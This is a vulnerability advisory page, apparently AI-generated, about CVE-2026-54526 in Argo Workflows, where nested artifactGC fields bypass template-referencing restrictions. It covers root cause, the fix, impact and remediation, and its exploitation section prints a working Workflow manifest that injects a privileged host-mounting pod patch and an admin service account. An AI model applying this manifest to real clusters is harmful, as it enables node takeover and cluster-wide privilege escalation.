CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54526

CVE-2026-54526: Strict Template Referencing Bypass and Privilege Escalation in Argo Workflows

Alon Barad
Alon Barad
Software Engineer

Aug 13, 2026·6 min read·3 visits

Executive Summary (TL;DR)

Argo Workflows fails to recursively validate the ArtifactGC structure during template override sanitization, enabling attackers to inject custom pod spec patches and service accounts to compromise worker nodes.

A critical security bypass vulnerability in Argo Workflows allows authenticated attackers with workflow submission privileges to bypass 'Strict' or 'Secure' template referencing restrictions. By injecting unvalidated fields into the nested ArtifactGC configuration, attackers can execute arbitrary pod patches, leading to host namespace escape and cluster-wide privilege escalation.

Vulnerability Overview

Argo Workflows orchestrates parallel jobs inside Kubernetes cluster environments. To enforce security boundaries in multi-tenant clusters, administrators use template referencing restrictions known as Strict or Secure modes. These modes prevent untrusted users from defining arbitrary container specs, forcing them to use pre-approved templates.

This vulnerability represents a critical bypass of these validation mechanisms. The underlying issue stems from how the Argo Workflows controller validates user-supplied workflow overrides. The controller allows configuration of the ArtifactGC struct, but fails to deeply inspect nested fields within this structure.

Because the sanitization parser only performs shallow reflection, fields like PodSpecPatch, ServiceAccountName, and PodMetadata are passed unmodified. An attacker with privileges to submit a workflow can leverage these unsanitized fields to inject arbitrary configurations into the garbage collection pod. This effectively re-opens the execution sinks that template referencing restrictions are designed to close.

Root Cause Analysis

The root cause of this vulnerability lies in the shallow validation model implemented within workflow/util/merge.go. The validation functions, specifically ValidateUserOverrides and SanitizeUserWorkflowSpec, inspect the user-submitted spec using a list of allowed top-level fields. The allowedUserOverrideFields map explicitly includes the key ArtifactGC to allow users to customize cleanup strategies.

However, Go reflection only validates the top-level type WorkflowLevelArtifactGC without recursively analyzing its nested elements. The nested ArtifactGC struct embeds fields such as ServiceAccountName and PodMetadata, alongside a separate PodSpecPatch string in the outer wrapper. Because the validation check completes successfully once it matches the parent key, the nested properties escape sanitization.

When the workflow completes, the controller initializes an artifact garbage-collection pod to delete intermediate outputs. During this stage, the controller retrieves the unsanitized ArtifactGC parameters from the workflow spec. It passes the unvalidated PodSpecPatch string directly to ApplyPodSpecPatch, which executes a Strategic Merge Patch against the target pod definition.

Code Analysis

The flaw originates from the structural hierarchy in the Argo codebase. The WorkflowSpec structure contains ArtifactGC which maps to WorkflowLevelArtifactGC as shown below:

type WorkflowLevelArtifactGC struct {
    ArtifactGC            `json:",inline"`
    ForceFinalizerRemoval bool   `json:"forceFinalizerRemoval,omitempty"`
    PodSpecPatch          string `json:"podSpecPatch,omitempty"` // Sensitive nested patch
}

Because of the lack of deep inspection, the controller accepts user-supplied JSON payloads for podSpecPatch and applies them unmodified. The fix implemented in commit 277e9cef0ad16d7eaaab253573d0695951a65dbd addresses this by manually stripping sensitive fields. The remediation adds validation logic to intercept these specific sub-fields during the template verification phase.

// Fix implementation in workflow/util/merge.go
func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {
    ...
    // Identify nested violations within the ArtifactGC struct
    violations = append(violations, artifactGCOverrideViolations(userSpec.ArtifactGC)...)
    if len(violations) > 0 {
        sort.Strings(violations)
        return fmt.Errorf("fields %v are not permitted when using workflowTemplateRef with templateReferencing restriction", violations)
    }
    return nil
}

The corresponding sanitization routine now actively overrides these values to prevent downstream execution. The sanitizeArtifactGC helper creates a deep copy and strips the sensitive attributes, ensuring that only benign settings like deletion strategy remain active.

Exploitation Methodology

Exploitation of CVE-2026-54526 requires the attacker to have permissions to submit workflows within the target Kubernetes namespace. The attacker must first identify an existing, pre-approved WorkflowTemplate that declares at least one output artifact. The exploit works by submitting a custom Workflow that references this approved template but inserts a malicious payload inside the allowed artifactGC block.

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: template-referencing-bypass-
spec:
  workflowTemplateRef:
    name: approved-hardened-template
  artifactGC:
    strategy: OnWorkflowCompletion
    serviceAccountName: argo-admin-service-account
    podSpecPatch: |
      {
        "spec": {
          "hostNetwork": true,
          "hostPID": true,
          "containers": [
            {
              "name": "main",
              "securityContext": {
                "privileged": true,
                "runAsUser": 0
              },
              "volumeMounts": [
                {
                  "name": "host-root",
                  "mountPath": "/mnt/host"
                }
              ]
            }
          ],
          "volumes": [
            {
              "name": "host-root",
              "hostPath": {
                "path": "/"
              }
            }
          ]
        }
      }

Upon submission, the validation engine allows the payload to pass because artifactGC is on the whitelist. Once the primary workflow execution completes, the controller instantiates the garbage-collection pod and applies the strategic merge patch. This forces the pod to run in the host namespaces with root permissions, mounting the underlying node root filesystem to /mnt/host, which allows complete container escape and host takeover.

Impact Assessment

The impact of successful exploitation is complete compromise of the underlying Kubernetes worker node and potential cluster-wide privilege escalation. By executing a privileged container with host-level volume mounts, the attacker escapes the containerization boundary. This allows direct modification of system configurations, execution of host-level binaries, and credential extraction from the host filesystem.

Furthermore, the ability to specify an arbitrary serviceAccountName under artifactGC allows direct identity theft within the cluster. If high-privilege service accounts exist in the namespace, the garbage-collection pod can run under those credentials. This grants the attacker immediate administrative permissions over the Kubernetes API server without needing to escape to the host node.

The CVSS v3.1 score is evaluated at 9.9, reflecting high availability, integrity, and confidentiality impacts. Because the vulnerability requires minimal complexity and low privileges, it presents a substantial risk to multi-tenant environments. Multi-tenant clusters that rely on template referencing for isolation are particularly vulnerable to this bypass mechanism.

Remediation & Security Resilience

The primary mitigation is upgrading Argo Workflows to the patched versions. Users running the 3.7.x release branch must upgrade to v3.7.15 or later. Users on the 4.0.x branch must upgrade to v4.0.6 or later. These releases contain the deep-validation patch that successfully blocks and strips unauthorized fields during workflow parsing.

If upgrading immediately is not feasible, organizations should deploy Admission Controllers to block malicious submissions. A Kyverno cluster policy or OPA Gatekeeper constraint can inspect incoming Workflow definitions. These policies must drop any submission that contains non-empty podSpecPatch or serviceAccountName values nested under the spec.artifactGC path.

Additionally, cluster administrators should audit the permissions of service accounts active within workflow namespaces. Enforcing strict least-privilege roles prevents attackers from hijacking highly privileged administrative identities. Finally, security teams should implement runtime detection tools to monitor for unexpected privileged container creations or host namespace mounts.

Official Patches

argoprojPrimary fix commit in merge.go
argoprojCherry-picked fix commit to 4.0 branch

Fix Analysis (2)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.36%
Top 71% most exploited

Affected Systems

Argo Workflows

Affected Versions Detail

Product
Affected Versions
Fixed Version
Argo Workflows
argoproj
>= 3.7.0, < 3.7.15v3.7.15
Argo Workflows
argoproj
>= 4.0.0, < 4.0.6v4.0.6
AttributeDetail
CWE IDCWE-284
Attack VectorNetwork
CVSS v3.19.9 (Critical)
CVSS v4.08.9 (High)
Exploit MaturityProof-of-Concept / Technical Bypass
CISA KEV StatusNot Listed
Ransomware UseNo

MITRE ATT&CK Mapping

T1611Escape to Host
Privilege Escalation
T1068Exploitation for Privilege Escalation
Privilege Escalation
T1543Creation or Modification of System Process
Persistence
CWE-284
Improper Access Control

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Vulnerability Timeline

Core fix committed to primary repository branch by Alan Clucas
2026-06-10
Official advisory published under GHSA-48p8-g2fx-3wwm and CVE-2026-54526 cataloged
2026-07-16
Remediation releases v3.7.15 and v4.0.6 shipped to the public
2026-07-16
National Vulnerability Database designates a CVSS 3.1 score of 9.9
2026-07-30

References & Sources

  • [1]Official Fix Commit
  • [2]Backported Fix Commit
  • [3]v3.7.15 Release Notes
  • [4]v4.0.6 Release Notes
  • [5]GitHub Advisory Portal (GHSA-48p8-g2fx-3wwm)
  • [6]National Vulnerability Database Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-54249
6.8

CVE-2026-54249: Server-Side Request Forgery via Confused Deputy in Pydantic AI UI Adapters

A Server-Side Request Forgery (SSRF) / Confused Deputy vulnerability has been identified in Pydantic AI UI Adapters (such as VercelAIAdapter). Under certain conditions, a malicious client can supply manipulated message history with provider metadata that forces the server to resolve files within privileged cloud environments (AWS S3, Google Cloud Storage) or model providers. This occurs because the adapters deserialize client-provided metadata structures directly into UploadedFile instances without validation, which are subsequently fetched using high-privilege server credentials.

Alon Barad
Alon Barad
5 views•7 min read
•about 3 hours ago•GHSA-RM43-82J9-R4MJ
8.2

GHSA-RM43-82J9-R4MJ: Path Traversal (Arbitrary File Read) in atomic-agents-stack Dashboard

A path traversal vulnerability in the optional dashboard server of atomic-agents-stack before version 1.1.0 allows unauthenticated remote attackers to read arbitrary files from the host filesystem.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 19 hours ago•CVE-2026-9318
5.4

CVE-2026-9318: Stored Cross-Site Scripting via HTML Export in Jazzband tablib

CVE-2026-9318 is a stored cross-site scripting (XSS) vulnerability affecting Jazzband tablib versions prior to 3.10.0. The flaw is located in the HTML export functionality of multi-sheet Databook objects. Due to raw f-string interpolation, unsanitized sheet titles containing malicious script tags are rendered directly as HTML, allowing arbitrary client-side code execution in a victim's browser.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 20 hours ago•CVE-2026-54917
10.0

CVE-2026-54917: Cross-Bucket Path Traversal and Authorization Bypass in SeaweedFS S3 and Iceberg Gateways

CVE-2026-54917 is a critical path traversal and authorization bypass vulnerability affecting the S3 and Iceberg REST catalog gateways in SeaweedFS. By explicitly disabling canonical path cleaning in the gorilla/mux routing system, relative path segments such as '..' are allowed to bypass routing constraints and access control checks. When these paths are collapsed server-side by the backend filer, they resolve to folders outside the authorized bucket boundary, allowing unauthorized cross-bucket access.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 21 hours ago•GHSA-JWJP-4649-V8JP
7.5

GHSA-jwjp-4649-v8jp: Out-of-Bounds Read in SIPSorcery SCTP SACK Chunk Parsing

An out-of-bounds read vulnerability in the SCTP SACK chunk parser of SIPSorcery leads to Denial of Service (DoS) or silent internal state corruption due to lack of boundary validation on incoming chunk elements.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 22 hours ago•GHSA-PFVM-W89X-94JW
7.5

GHSA-pfvm-w89x-94jw: Uncaught Exception in STUN Parser Causes Complete TurnServer Receive Loop Termination

An uncaught exception vulnerability exists in SIPSorcery's TurnServer component, where unauthenticated malformed UDP packets can crash the core UDP receive loop, resulting in a persistent Denial of Service.

Amit Schendel
Amit Schendel
7 views•6 min read